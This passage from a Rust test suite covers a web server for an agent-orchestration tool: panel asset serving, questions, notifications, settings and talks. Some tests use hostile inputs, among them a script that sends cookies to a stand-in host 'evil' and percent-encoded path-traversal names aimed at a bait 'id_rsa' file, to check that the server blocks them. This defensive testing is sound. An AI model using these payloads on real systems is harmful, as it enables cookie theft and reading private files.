7022        let fx = Fixture::start().await;
7023        let id = panel(
7024            &fx,
7025            "<p>see the notes</p>",
7026            &[
7027                (
7028                    "notes.html",
7029                    b"<script>fetch('http://evil/'+document.cookie)</script>",
7030                ),
7031                ("hook.js", b"fetch('http://evil/')"),
7032                ("data.json", b"{}"),
7033                ("HEADLINE.TXT", b"plain"),
7034            ],
7035        );
7036
7037        for name in ["notes.html", "hook.js", "data.json"] {
7038            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7039            assert_eq!(res.status, 200, "{name}: {}", res.body);
7040            // Serving this as text/html would be a way to reach agent markup
7041            // at the top level of the operator's browser, outside the frame's
7042            // sandbox and outside its CSP - which is the whole thing the panel
7043            // design exists to prevent. Unlisted types are downloads.
7044            assert_eq!(
7045                res.header("content-type"),
7046                Some("application/octet-stream"),
7047                "{name} must not be a type the browser will execute or render"
7048            );
7049        }
7050        // The whitelist is matched case-insensitively, so an agent shouting the
7051        // extension still gets a readable file rather than a download.
7052        let txt = fx
7053            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7054            .await;
7055        assert_eq!(
7056            txt.header("content-type"),
7057            Some("text/plain; charset=utf-8")
7058        );
7059    }
7060
7061    #[tokio::test]
7062    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7063        let fx = Fixture::start().await;
7064        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7065        // Something outside the panel directory that a traversal would reach if
7066        // one got through, so a passing test is not merely "the file was
7067        // missing anyway".
7068        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7069
7070        // Decoded before this server's handler sees them: axum percent-decodes
7071        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
7072        // string with a NUL in it. All three look like ordinary single-segment
7073        // filenames to the router, so the router passes them through and
7074        // `valid_asset_name` is what refuses them - for the literal `..`, and
7075        // for `/`, `\` and NUL not being in the permitted character set.
7076        for encoded in [
7077            "%2e%2e%2fid_rsa",
7078            "..%2fid_rsa",
7079            "..%5cid_rsa",
7080            "%2e%2e%5cid_rsa",
7081            "diff%00.svg",
7082            "..",
7083            ".hidden",
7084            "%2e%2e%2f%2e%2e%2fid_rsa",
7085        ] {
7086            let res = fx
7087                .get(&format!("/api/questions/{id}/asset/{encoded}"))
7088                .await;
7089            assert_eq!(
7090                res.status, 400,
7091                "`{encoded}` has to be refused by name, not looked up: {}",
7092                res.body
7093            );
7094            assert!(res.json()["error"].is_string(), "{}", res.body);
7095        }
7096
7097        // Not decoded, and never this handler's problem: a real slash makes the
7098        // request one segment too long for `/api/questions/{id}/asset/{name}`,
7099        // so axum's router has no route to match and answers before any code
7100        // here runs. Asserted so that a future route with a wildcard segment
7101        // cannot quietly open this door.
7102        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7103            let res = fx
7104                .get(&format!("/api/questions/{id}/asset/{literal}"))
7105                .await;
7106            assert_eq!(
7107                res.status, 404,
7108                "`{literal}` must not match the asset route at all: {}",
7109                res.body
7110            );
7111        }
7112    }
7113
7114    #[tokio::test]
7115    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7116        let fx = Fixture::start().await;
7117        let plain = ask(&fx, "Which backend?", &["SQLite"]);
7118        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7119
7120        // A question nobody wrote a panel for. The client preflights with HEAD
7121        // and cannot see inside a sandboxed frame, so this must be a status and
7122        // not an empty page.
7123        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7124        assert_eq!(none.status, 404, "{}", none.body);
7125        assert!(none.json()["error"].is_string(), "{}", none.body);
7126        assert_eq!(
7127            fx.head(&format!("/api/questions/{plain}/panel"))
7128                .await
7129                .status,
7130            404,
7131            "the preflight is the only way the client can learn this"
7132        );
7133
7134        // A name that is perfectly legal and simply is not there.
7135        let missing = fx
7136            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7137            .await;
7138        assert_eq!(missing.status, 404, "{}", missing.body);
7139        assert!(missing.json()["error"].is_string(), "{}", missing.body);
7140
7141        // A question that does not exist at all, on both routes.
7142        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7143        assert_eq!(
7144            fx.get("/api/questions/nope/asset/diff.svg").await.status,
7145            404
7146        );
7147    }
7148
7149    #[tokio::test]
7150    async fn a_run_with_an_open_question_reads_as_waiting() {
7151        let fx = Fixture::start().await;
7152        let run = "20260902-000000-beef".to_owned();
7153        write_run(&fx.runs(), &run, RunStatus::Implementing);
7154
7155        let before = fx.get("/api/runs").await.json();
7156        assert_eq!(before[0]["waiting"], false, "{before}");
7157
7158        let store = fx.questions();
7159        let mut q = Question::new(
7160            run.clone(),
7161            "implement".to_owned(),
7162            "impl-A".to_owned(),
7163            "Which backend?".to_owned(),
7164            String::new(),
7165            vec!["SQLite".to_owned()],
7166        );
7167        store.put(&mut q).expect("put");
7168
7169        let during = fx.get("/api/runs").await.json();
7170        assert_eq!(during[0]["waiting"], true, "{during}");
7171
7172        // Answered: the run is moving again, and the flag has to follow without
7173        // anything having rewritten run.json.
7174        q.answer(Answer::Choice("SQLite".to_owned()))
7175            .expect("answer");
7176        store.put(&mut q).expect("put");
7177        let after = fx.get("/api/runs").await.json();
7178        assert_eq!(after[0]["waiting"], false, "{after}");
7179    }
7180
7181    #[tokio::test]
7182    async fn an_open_question_is_listed_and_counted_by_health() {
7183        let fx = Fixture::start().await;
7184        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7185
7186        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7187        let listed = fx.get("/api/questions").await.json();
7188        assert_eq!(listed.as_array().expect("array").len(), 1);
7189        assert_eq!(listed[0]["id"], id);
7190        assert_eq!(listed[0]["status"], "open");
7191        assert_eq!(listed[0]["choices"][1], "Redis");
7192        // The count is what makes the phone's indicator honest: it is the one
7193        // number meaning nothing will move until a human acts.
7194        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7195    }
7196
7197    #[tokio::test]
7198    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7199        let fx = Fixture::start().await;
7200        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7201        let path = format!("/api/questions/{id}/answer");
7202
7203        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7204        assert_eq!(res.status, 200, "{}", res.body);
7205        let body = res.json();
7206        assert_eq!(body["status"], "answered");
7207        assert_eq!(body["answer"]["choice"], "Redis");
7208
7209        // Answered from the terminal in between the list and the tap: the UI
7210        // must be able to tell this from a bad request, so it can show the
7211        // recorded answer instead of an error.
7212        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7213        assert_eq!(again.status, 409, "{}", again.body);
7214        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7215    }
7216
7217    #[tokio::test]
7218    async fn saying_something_appends_a_turn_without_answering() {
7219        let fx = Fixture::start().await;
7220        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7221        let path = format!("/api/questions/{id}/say");
7222
7223        let res = fx
7224            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7225            .await;
7226        assert_eq!(res.status, 200, "{}", res.body);
7227        let body = res.json();
7228        assert_eq!(body["status"], "open", "talking back is not a decision");
7229        assert_eq!(body["answer"], Value::Null);
7230        assert_eq!(body["thread"][0]["who"], "operator");
7231        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7232        assert_eq!(body["waiting_on_agent"], true);
7233        // Still open, still counted, still exactly one question.
7234        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7235    }
7236
7237    #[tokio::test]
7238    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7239        let fx = Fixture::start().await;
7240        let store = fx.questions();
7241        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7242        assert_eq!(
7243            fx.get("/api/health").await.json()["questions_needs_owner"],
7244            1
7245        );
7246
7247        // The owner asks back instead of deciding: the ask bar, the nav badge
7248        // and the title must stop naming this question, because there is
7249        // nothing to decide until the agent answers - `status` alone cannot
7250        // say that, which is the whole reason `questions_needs_owner` exists
7251        // alongside `questions_open`.
7252        let res = fx
7253            .post(
7254                &format!("/api/questions/{id}/say"),
7255                Some(r#"{"body":"why not Postgres?"}"#),
7256            )
7257            .await;
7258        assert_eq!(res.status, 200, "{}", res.body);
7259        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7260        assert_eq!(
7261            fx.get("/api/health").await.json()["questions_needs_owner"],
7262            0,
7263            "waiting on the agent is not waiting on the owner"
7264        );
7265
7266        // `magi ask --thread` replying is what brings the owner count back -
7267        // the same event that would resume the CLI call blocked in `magi
7268        // ask`.
7269        let mut q = store.get(&id).expect("get");
7270        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7271            .expect("reply");
7272        store.put(&mut q).expect("put");
7273        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7274        assert_eq!(
7275            fx.get("/api/health").await.json()["questions_needs_owner"],
7276            1,
7277            "the agent's reply is what should light the banner back up"
7278        );
7279    }
7280
7281    #[tokio::test]
7282    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7283        let fx = Fixture::start().await;
7284        let store = fx.questions();
7285
7286        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7287        let res = fx
7288            .post(
7289                &format!("/api/questions/{empty_id}/say"),
7290                Some(r#"{"body":"   "}"#),
7291            )
7292            .await;
7293        assert_eq!(res.status, 400, "{}", res.body);
7294
7295        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7296        let mut answered = store.get(&answered_id).expect("get");
7297        answered
7298            .answer(Answer::Choice("SQLite".to_owned()))
7299            .expect("answer");
7300        store.put(&mut answered).expect("put");
7301        let res = fx
7302            .post(
7303                &format!("/api/questions/{answered_id}/say"),
7304                Some(r#"{"body":"still there?"}"#),
7305            )
7306            .await;
7307        assert_eq!(res.status, 409, "{}", res.body);
7308
7309        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7310        let mut abandoned = store.get(&abandoned_id).expect("get");
7311        abandoned.abandon("timed out");
7312        store.put(&mut abandoned).expect("put");
7313        let res = fx
7314            .post(
7315                &format!("/api/questions/{abandoned_id}/say"),
7316                Some(r#"{"body":"still there?"}"#),
7317            )
7318            .await;
7319        assert_eq!(res.status, 409, "{}", res.body);
7320    }
7321
7322    #[tokio::test]
7323    async fn an_answer_the_question_does_not_offer_is_refused() {
7324        let fx = Fixture::start().await;
7325        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7326        let path = format!("/api/questions/{id}/answer");
7327
7328        for body in [
7329            r#"{"choice":"Postgres"}"#,
7330            r#"{"text":"whatever you think"}"#,
7331            r#"{"choice":"Redis","text":"both"}"#,
7332            r#"{}"#,
7333        ] {
7334            let res = fx.post(&path, Some(body)).await;
7335            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7336            assert!(res.json()["error"].is_string(), "{}", res.body);
7337        }
7338        // Nothing above may have answered it.
7339        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7340    }
7341
7342    #[tokio::test]
7343    async fn a_free_text_question_takes_text_and_not_a_choice() {
7344        let fx = Fixture::start().await;
7345        let id = ask(&fx, "What should the flag be called?", &[]);
7346        let path = format!("/api/questions/{id}/answer");
7347
7348        assert_eq!(
7349            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7350            400
7351        );
7352        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7353        assert_eq!(res.status, 200, "{}", res.body);
7354        assert_eq!(res.json()["answer"]["text"], "--json");
7355    }
7356
7357    #[tokio::test]
7358    async fn an_unknown_question_is_a_json_404() {
7359        let fx = Fixture::start().await;
7360        let res = fx
7361            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7362            .await;
7363        assert_eq!(res.status, 404, "{}", res.body);
7364        assert!(res.json()["error"].is_string());
7365    }
7366
7367    #[tokio::test]
7368    async fn notifications_list_read_dismiss_and_health_agree() {
7369        let fx = Fixture::start().await;
7370        let store = Notices::at(fx.home.path().join("notifications"));
7371        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7372        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7373
7374        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7375        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7376
7377        let health = fx.get("/api/health").await.json();
7378        assert_eq!(health["notifications_unread"], 2);
7379        assert_ne!(
7380            health["notifications_rev"], rev0,
7381            "the badge must move live"
7382        );
7383
7384        let listed = fx.get("/api/notifications").await.json();
7385        assert_eq!(listed["unread"], 2);
7386        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7387        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7388
7389        let read = fx
7390            .post(&format!("/api/notifications/{}/read", a.id), None)
7391            .await;
7392        assert_eq!(read.status, 200, "{}", read.body);
7393        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7394
7395        let gone = fx
7396            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7397            .await;
7398        assert_eq!(gone.status, 200, "{}", gone.body);
7399        let listed = fx.get("/api/notifications").await.json();
7400        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7401        assert_eq!(listed["unread"], 0);
7402
7403        store.raise(Notice::info("x", "again")).unwrap();
7404        let all = fx.post("/api/notifications/read-all", None).await;
7405        assert_eq!(all.status, 200, "{}", all.body);
7406        assert_eq!(all.json()["marked"], 1);
7407        assert_eq!(
7408            fx.get("/api/health").await.json()["notifications_unread"],
7409            0
7410        );
7411
7412        let missing = fx.post("/api/notifications/nope/read", None).await;
7413        assert_eq!(missing.status, 404, "{}", missing.body);
7414        assert!(missing.json()["error"].is_string());
7415    }
7416
7417    /// New work reaches the queue through `magi task add`, a standing talk's
7418    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
7419    /// so the compose form and that route are gone. The tests that covered
7420    /// that route's validation went with it, and nothing was left asserting
7421    /// it stays gone — so a re-added handler would silently let the phone
7422    /// file briefs no one validated.
7423    #[tokio::test]
7424    async fn a_task_cannot_be_filed_over_the_phone_directly() {
7425        let f = Fixture::start().await;
7426
7427        let res = f
7428            .post(
7429                "/api/queue",
7430                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7431            )
7432            .await;
7433
7434        assert_eq!(
7435            res.status, 405,
7436            "POST /api/queue must not be a route: {}",
7437            res.body
7438        );
7439        assert!(
7440            f.queue().list().is_empty(),
7441            "a task filed by a route that does not exist must not reach the disk"
7442        );
7443        // The path itself is still served — the Queue view reads it — and the
7444        // per-task controls are untouched by the entry being removed.
7445        assert_eq!(f.get("/api/queue").await.status, 200);
7446    }
7447
7448    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
7449    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7450        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7451            .expect("checkout dir");
7452    }
7453
7454    /// Two command agents, so a config needs no real CLI.
7455    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7456
7457    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7458        let tmp = TempDir::new().expect("tempdir");
7459        let repo = tmp.path().join("repo");
7460        std::fs::create_dir_all(&repo).expect("repo dir");
7461        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7462        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7463        if let Some(text) = machine_toml {
7464            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7465            std::fs::write(&machine, text).expect("machine toml");
7466        }
7467        (tmp, repo, machine)
7468    }
7469
7470    #[tokio::test]
7471    async fn settings_get_reports_sources_and_the_advisors_fallback() {
7472        let (_tmp, repo, machine) =
7473            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7474        let f = Fixture::with_repo_and_machine(repo, machine).await;
7475        let res = f.get("/api/settings").await;
7476        assert_eq!(res.status, 200, "{}", res.body);
7477        let v = res.json();
7478        assert!(v["error"].is_null(), "{v}");
7479        let role = |k: &str| {
7480            v["roles"]
7481                .as_array()
7482                .and_then(|r| r.iter().find(|x| x["key"] == k))
7483                .cloned()
7484                .unwrap_or_else(|| panic!("no role {k}: {v}"))
7485        };
7486        assert_eq!(role("judges")["source"], "machine");
7487        assert_eq!(role("judges")["editable"], true);
7488        assert_eq!(role("implementers")["source"], "default");
7489        let adv = role("advisors");
7490        assert_eq!(adv["fallback"], "judges");
7491        assert!(
7492            adv["seats"]
7493                .as_array()
7494                .is_some_and(|s| s.iter().all(|x| x == "b")),
7495            "{adv}"
7496        );
7497        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7498        assert_eq!(v["agents"][0]["source"], "repo");
7499    }
7500
7501    #[tokio::test]
7502    async fn settings_get_reports_a_config_that_does_not_parse() {
7503        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7504        let f = Fixture::with_repo_and_machine(repo, machine).await;
7505        let res = f.get("/api/settings").await;
7506        assert_eq!(res.status, 200, "{}", res.body);
7507        let v = res.json();
7508        assert!(v["error"]["message"].is_string(), "{v}");
7509        assert!(
7510            v["error"]["path"]
7511                .as_str()
7512                .is_some_and(|p| p.ends_with("magi.toml")),
7513            "{v}"
7514        );
7515        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7516    }
7517
7518    #[tokio::test]
7519    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7520        let (_tmp, repo, machine) = settings_dirs(
7521            SETTINGS_AGENTS,
7522            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
7523        );
7524        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7525        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7526        let rev = f.get("/api/settings").await.json()["revision"]
7527            .as_str()
7528            .expect("revision")
7529            .to_owned();
7530        let body = serde_json::json!({
7531            "revision": rev,
7532            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7533        })
7534        .to_string();
7535        let res = f.put("/api/settings/roles", &body).await;
7536        assert_eq!(res.status, 200, "{}", res.body);
7537        let text = std::fs::read_to_string(&machine).expect("machine");
7538        assert_eq!(
7539            text,
7540            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7541        );
7542        assert_eq!(
7543            std::fs::read(repo.join("magi.toml")).expect("read"),
7544            repo_before
7545        );
7546        let again = f.get("/api/settings").await.json();
7547        let judges = again["roles"]
7548            .as_array()
7549            .expect("roles")
7550            .iter()
7551            .find(|r| r["key"] == "judges")
7552            .expect("judges")
7553            .clone();
7554        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7555        // The old revision is now stale.
7556        let stale = f.put("/api/settings/roles", &body).await;
7557        assert_eq!(stale.status, 409, "{}", stale.body);
7558    }
7559
7560    #[tokio::test]
7561    async fn settings_put_refuses_without_touching_the_file() {
7562        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7563        let (_tmp, repo, machine) = settings_dirs(
7564            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7565            Some(machine_text),
7566        );
7567        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7568        let rev = f.get("/api/settings").await.json()["revision"]
7569            .as_str()
7570            .expect("revision")
7571            .to_owned();
7572        for roles in [
7573            serde_json::json!({ "judges": ["nope"] }),
7574            serde_json::json!({ "reviewers": ["b"] }),
7575            serde_json::json!({ "bogus": ["a"] }),
7576        ] {
7577            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7578            let res = f.put("/api/settings/roles", &body).await;
7579            assert_eq!(res.status, 422, "{roles}: {}", res.body);
7580            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7581            assert_eq!(
7582                std::fs::read_to_string(&machine).expect("machine"),
7583                machine_text
7584            );
7585        }
7586    }
7587
7588    #[tokio::test]
7589    async fn repos_list_returns_name_and_path_for_every_configured_root() {
7590        let tmp = TempDir::new().expect("tempdir");
7591        let repo = tmp.path().join("repo");
7592        std::fs::create_dir_all(&repo).expect("repo dir");
7593        let root = tmp.path().join("root");
7594        make_checkout(&root, "github.com", "yukimemi", "magi");
7595        std::fs::write(
7596            repo.join("magi.toml"),
7597            format!(
7598                "[repos]\nroots = [{:?}]\n",
7599                root.to_string_lossy().into_owned()
7600            ),
7601        )
7602        .expect("write magi.toml");
7603
7604        let f = Fixture::with_repo(repo).await;
7605        let res = f.get("/api/repos").await;
7606        assert_eq!(res.status, 200, "{}", res.body);
7607        let list = res.json();
7608        let repos = list.as_array().expect("an array");
7609        assert_eq!(repos.len(), 1);
7610        assert_eq!(repos[0]["name"], "yukimemi/magi");
7611        assert!(
7612            repos[0]["path"]
7613                .as_str()
7614                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7615            "{list}"
7616        );
7617    }
7618
7619    #[tokio::test]
7620    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7621        let tmp = TempDir::new().expect("tempdir");
7622        let repo = tmp.path().join("repo");
7623        std::fs::create_dir_all(&repo).expect("repo dir");
7624        let root = tmp.path().join("root");
7625        make_checkout(&root, "github.com", "yukimemi", "magi");
7626        std::fs::write(
7627            repo.join("magi.toml"),
7628            format!(
7629                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7630                root.to_string_lossy().into_owned()
7631            ),
7632        )
7633        .expect("write magi.toml");
7634
7635        let f = Fixture::with_repo(repo).await;
7636        let first = f.get("/api/repos").await;
7637        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7638
7639        // A second checkout appears; within the TTL the cached answer must
7640        // not notice it.
7641        make_checkout(&root, "github.com", "yukimemi", "rvpm");
7642        let second = f.get("/api/repos").await;
7643        assert_eq!(
7644            second.json().as_array().map(Vec::len),
7645            Some(1),
7646            "a fresh cache must not rescan inside the TTL"
7647        );
7648
7649        let refreshed = f.get("/api/repos?refresh=1").await;
7650        assert_eq!(
7651            refreshed.json().as_array().map(Vec::len),
7652            Some(2),
7653            "an explicit refresh must rescan even inside the TTL"
7654        );
7655    }
7656
7657    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
7658    /// string, declared straight in a repository's own `magi.toml` rather
7659    /// than the operator's real roster. No real agent CLI is spawned - `sh`
7660    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
7661    /// this is safe to run over a real HTTP round trip.
7662    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7663
7664    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
7665    /// real `Config::discover` to find an agent - `talk::begin` resolves one
7666    /// even though it takes no turn, and `talk_say` invokes one.
7667    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7668        let tmp = TempDir::new().expect("tempdir");
7669        let repo = tmp.path().join("repo");
7670        std::fs::create_dir_all(&repo).expect("repo dir");
7671        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7672        let f = Fixture::with_repo(repo.clone()).await;
7673        (tmp, repo, f)
7674    }
7675
7676    #[tokio::test]
7677    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7678        let (_tmp, _repo, f) = talk_fixture().await;
7679
7680        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
7681        // is the ordinary way a phone opens a talk.
7682        let opened = f.post("/api/talks", None).await;
7683        assert_eq!(opened.status, 201, "{}", opened.body);
7684        let body = opened.json();
7685        assert_eq!(body["status"], "open");
7686        assert_eq!(
7687            body["turns"].as_array().unwrap().len(),
7688            0,
7689            "opening takes no agent turn: there is nothing yet to answer"
7690        );
7691
7692        // An explicit empty object is the same request as none at all.
7693        let also_opened = f.post("/api/talks", Some("{}")).await;
7694        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7695
7696        let listed = f.get("/api/talks").await.json();
7697        assert_eq!(listed.as_array().unwrap().len(), 2);
7698    }
7699
7700    #[tokio::test]
7701    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7702        let tmp = TempDir::new().expect("tempdir");
7703        let repo = tmp.path().join("repo");
7704        std::fs::create_dir_all(&repo).expect("repo dir");
7705        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7706        std::fs::write(
7707            repo.join("magi.toml"),
7708            format!("{MOCK_AGENT_TOML}\n{second}"),
7709        )
7710        .expect("write magi.toml");
7711        let home = TempDir::new().expect("temp home");
7712        let talks = Talks::at(home.path().join("talks"));
7713        let ui = Arc::new(
7714            Ui::new(
7715                Queue::at(home.path().join("queue")),
7716                Questions::at(home.path().join("questions")),
7717                talks.clone(),
7718                home.path().join("runs"),
7719                home.path().to_path_buf(),
7720                repo.clone(),
7721            )
7722            .with_worktrees_root(home.path().join("wt")),
7723        );
7724        let cfg = config_for(&repo).await.expect("discover config");
7725        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7726        let id = talk.id.clone();
7727        let call = |agent: &str| {
7728            talk_agent(
7729                State(Arc::clone(&ui)),
7730                Path(id.clone()),
7731                Json(TalkAgent {
7732                    agent: agent.to_owned(),
7733                }),
7734            )
7735        };
7736
7737        let unknown = call("nobody").await.expect_err("unknown agent");
7738        assert_eq!(
7739            unknown.status,
7740            StatusCode::BAD_REQUEST,
7741            "{}",
7742            unknown.message
7743        );
7744
7745        {
7746            // The refused call hands its claim to a drain loop that releases
7747            // it a moment later.
7748            let mut claimed = None;
7749            for _ in 0..200 {
7750                claimed = ui.begin_talk_turn(&id).expect("claim");
7751                if claimed.is_some() {
7752                    break;
7753                }
7754                tokio::time::sleep(Duration::from_millis(10)).await;
7755            }
7756            let _busy = claimed.expect("free");
7757            let busy = call("second").await.expect_err("busy talk");
7758            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7759        }
7760        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7761
7762        let Json(view) = call("second").await.expect("switch");
7763        assert_eq!(view.talk.agent, "second");
7764        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7765        let saved = talks.get(&id).expect("reload");
7766        assert_eq!(saved.agent, "second");
7767        assert_eq!(saved.turns.len(), 1);
7768
7769        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7770            .await
7771            .expect("detail");
7772        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7773        assert_eq!(roster, ["mock", "second"]);
7774
7775        let mut closed = talks.get(&id).expect("reload");
7776        talk::close(&mut closed, &talks).expect("close");
7777        let refused = call("mock").await.expect_err("closed talk");
7778        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7779    }
7780
7781    #[tokio::test]
7782    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7783        let f = Fixture::start().await;
7784        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7785        let queue = f.queue();
7786        let mut mine = Task::new(
7787            "rename the loader".to_owned(),
7788            "rename the loader".to_owned(),
7789            PathBuf::from("/repo/magi"),
7790            Source::Agent {
7791                run: talk_id.clone(),
7792                node: "chat".to_owned(),
7793            },
7794        );
7795        queue.put(&mut mine).expect("file the task");
7796        let mut theirs = Task::new(
7797            "unrelated".to_owned(),
7798            "unrelated".to_owned(),
7799            PathBuf::from("/repo/magi"),
7800            Source::Human,
7801        );
7802        queue.put(&mut theirs).expect("file the task");
7803
7804        let res = f.get(&format!("/api/talks/{talk_id}")).await;
7805        assert_eq!(res.status, 200, "{}", res.body);
7806        let body = res.json();
7807        assert_eq!(
7808            body["status"], "open",
7809            "filing a task does not close a talk"
7810        );
7811        let tasks = body["tasks"].as_array().expect("tasks array");
7812        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7813        assert_eq!(tasks[0]["id"], mine.id);
7814    }
7815
7816    #[tokio::test]
7817    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
7818        let (_tmp, _repo, f) = talk_fixture().await;
7819        let id = f.post("/api/talks", None).await.json()["id"]
7820            .as_str()
7821            .expect("id")
7822            .to_owned();
7823
7824        let res = f
7825            .post(
7826                &format!("/api/talks/{id}/say"),
7827                Some(r#"{"text":"what does the queue module do?"}"#),
7828            )
7829            .await;
7830        assert_eq!(res.status, 202, "{}", res.body);
7831        let queued = res.json();
7832        let turns = queued["turns"].as_array().expect("turns array");
7833        assert_eq!(
7834            turns.len(),
7835            1,
7836            "the answer reflects only what is on disk the instant it is sent, \
7837             before the agent's turn - which can run for the whole of \
7838             `[graph] timeout_talk` - has a chance to land: {queued}"
7839        );
7840        assert_eq!(turns[0]["who"], "operator");
7841        assert_eq!(turns[0]["body"], "what does the queue module do?");
7842        assert_eq!(
7843            queued["thinking"], true,
7844            "the accepted response exposes the background turn claim: {queued}"
7845        );
7846
7847        let mut turns_after = 1;
7848        for _ in 0..SETTLE_STEPS {
7849            let detail = f.get(&format!("/api/talks/{id}")).await.json();
7850            turns_after = detail["turns"].as_array().expect("turns array").len();
7851            if turns_after == 2 {
7852                break;
7853            }
7854            tokio::time::sleep(Duration::from_millis(10)).await;
7855        }
7856        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
7857    }
7858
